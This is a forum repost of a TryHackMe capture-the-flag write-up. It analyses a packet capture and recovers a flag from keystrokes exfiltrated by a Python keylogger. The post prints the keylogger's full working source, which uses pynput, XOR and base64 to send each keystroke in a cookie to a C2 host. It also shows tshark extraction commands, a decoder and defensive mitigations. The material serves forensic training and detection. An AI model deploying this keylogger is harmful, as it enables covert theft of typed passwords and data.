TryHackMe : Packed Light Writeup

Iniciado por joomlamz, Hoje at 06:25

Respostas: 0   |   Visualizações: 3

Tópico anterior - Tópico seguinte

0 Membros e 1 Visitante estão a ver este tópico.

TryHackMe : Packed Light Writeup



Tópico: TryHackMe : Packed Light Writeup
Categoria: Tutoriais | Programação & Tecnologia
Idioma Principal: Português (Conteúdo de Tecnologia)

Descrição do Conteúdo / Informações:
-------------------------------------------------------------------------


TL;DR


A .pcapng capture shows a victim host on 192.168.1.141 downloading a Python

keylogger (updates.py) from an attacker-controlled "hotel update server" at

byte-lotus-hotel.thm:8080 (34.41.103.191). The script XOR-encrypts every

keystroke with a hardcoded key, base64-encodes it, and exfiltrates it inside an

HTTP Cookie header on a GET request back to the same host. Replaying that

XOR/base64 scheme against the 30 exfil requests in the capture recovers the

flag.

Flag: THM{[REDACTED]}



1. Initial triage


$ capinfos traffic.pcapng
Number of packets:   1348
Capture duration:    41.831541 seconds
Encapsulation in use by packets: Ethernet (1177), NULL/Loopback (171)

Protocol hierarchy:

$ tshark -r traffic.pcapng -q -z io,phs
eth
ip
tcp
http    frames:62 bytes:37862
tls     frames:228 bytes:133744
udp
ssdp, dns, quic
null (loopback)
ip
tcp
data    frames:16 bytes:928

Most of the capture is background noise — TLS to search engines, QUIC,

Microsoft telemetry, SSDP. The interesting slice is the plaintext HTTP

traffic to a non-standard host, so that's where I started.



2. Spotting the payload download


$ tshark -r traffic.pcapng -Y http -T fields \
-e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.request.uri \
-e http.host -e http.response.code

16   192.168.1.141   34.41.103.191   GET   /temp/updates.py   byte-lotus-hotel.thm:8080
19   34.41.103.191   192.168.1.141                                              200
391  192.168.1.141   34.41.103.191   GET   /                  byte-lotus-hotel.thm:8080
...   [repeats ~30 more times, one GET / every second or so]

Frame 16 is a normal Chrome download (User-Agent: ...Chrome/149.0.0.0...) of

/temp/updates.py from byte-lotus-hotel.thm (resolves to 34.41.103.191).

After that, starting at frame 391, the same source IP starts hammering GET /

on the same host roughly once per keypress, but with a different, custom

User-Agent. That pattern (one request per user action) screams keylogger

exfil, so the first move was to pull updates.py out of the stream:

$ tshark -r traffic.pcapng --export-objects http,./httpobjs
$ cat httpobjs/updates.py

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass

def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")

print("
  • Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()

Confirms the theory: this is a pynput-based keylogger disguised as a

"hotel sync service." Every keypress is:

• Grabbed individually (character is a single char).

• XORed against the key H0t3lSt@ff0NlyK3epS3cr3t! (p1 + p2).

• Base64-encoded.

• Smuggled out as the value of a hotel_sess_state cookie on a GET /
to the C2.

The key detail for decoding: because sendltr() is called once per

character, raw_bytes is always length 1. That means the XOR loop

key[i % len(key)] only ever uses index i = 0, i.e. every exfiltrated

byte is XORed with just the first character of the key, 'H' (0x48) — the

rest of the 25-byte key is never actually used. That simplifies decoding a

lot.



3. Pulling the exfil cookies


$ tshark -r traffic.pcapng -Y "http.request.method==GET" \
-T fields -e http.cookie \
| grep hotel_sess_state \
| sed 's/hotel_sess_state=//' > cookies.txt

$ wc -l cookies.txt
30 cookies.txt

Sample of what's captured, in packet order (each line = one keystroke sent

seconds apart from frame 391 onward):

HA==
AA==
BQ==
Mw==
Hg==
ew==
...
NQ==



4. Decoding


import base64

key = "H0t3lSt@ff0NlyK3epS3cr3t!"
out = []
with open("cookies.txt") as f:
for line in f:
line = line.strip()
if not line:
continue
raw = base64.b64decode(line)
out.append(chr(raw[0] ^ ord(key[0])))   # only key[0] ('H') is ever used

print("".join(out))

$ python3 decode.py
THM{[REDACTED]}

The 30 exfiltrated bytes reassemble in capture order to spell out the flag

directly — the "victim" was literally typing the flag on their keyboard

while the keylogger phoned it home one character at a time.



5. Flag


THM{[REDACTED]}



Key vulnerabilities / weaknesses exploited (for detection writeups)


#
Weakness
Detail

1
Plaintext HTTP C2 channel
Keylogger exfil travels over unencrypted HTTP; fully visible in a pcap.

2
Weak, hardcoded, effectively single-byte XOR "encryption"

xor() is correct in general, but because each HTTP request carries only one character, key[i % len(key)] collapses to key[0] every time — the 25-byte key is decorative.

3
Predictable exfil channel
Cookie header on a fixed URI (GET /) makes the beacon trivially greppable in traffic (hotel_sess_state=).

4
Social-engineering delivery
Payload was served as /temp/updates.py from a spoofed "hotel update server," downloaded via a normal browser GET — no exploit needed, just a convincing filename/host.



Attack chain


Attacker C2 (byte-lotus-hotel.thm / 34.41.103.191:8080)

│ 1. Victim browses to /temp/updates.py (Chrome GET, frame 16)

Victim host (192.168.1.141)

│ 2. updates.py executed -> pynput keyboard.Listener starts
│    "
  • Byte Lotus Sync Service started..."

Every keystroke

│ 3. XOR(char, "H0t3lSt@ff0NlyK3epS3cr3t!")  (only key[0] used, single-char msgs)
│ 4. base64 encode
│ 5. GET / with Cookie: hotel_sess_state=<b64>  (custom UA: ByteLotusClient/1.1)

Attacker C2 receives exfil, one keystroke per request (frames 391–1310)


Analyst reassembles cookies in packet order -> decodes -> flag



Mitigations


• Treat unsigned "update" scripts served over plain HTTP from unfamiliar
hosts as untrusted; verify code signing / hashes before execution.

• EDR/host monitoring for processes registering global keyboard hooks
(pynput, SetWindowsHookEx, etc.) outside of known accessibility tools.

• Network egress monitoring for beacon-like patterns: fixed-interval GETs to
the same host/path with data hidden in headers (Cookie/User-Agent) rather
than the body.

• Enforce HTTPS/TLS interception or at least alerting on any outbound HTTP
(not HTTPS) to non-allow-listed hosts, since it makes this kind of exfil
trivially visible to anyone with pcap access (as it was here).

• Rotate/derive per-message keystream material properly (e.g. real stream
cipher or per-message nonce) if attackers want their own "crypto" to
actually resist analysis — not that we're endorsing that goal.


Joomlamz
Consultoria em Informática
-------------------------------------------------------
Especialista em Sistemas Web & Manutenção de Servidores.
A desenvolver o novo AplPortal com suporte a PHP 8.
Precisa de ajuda profissional? Contacte-me.

Tags: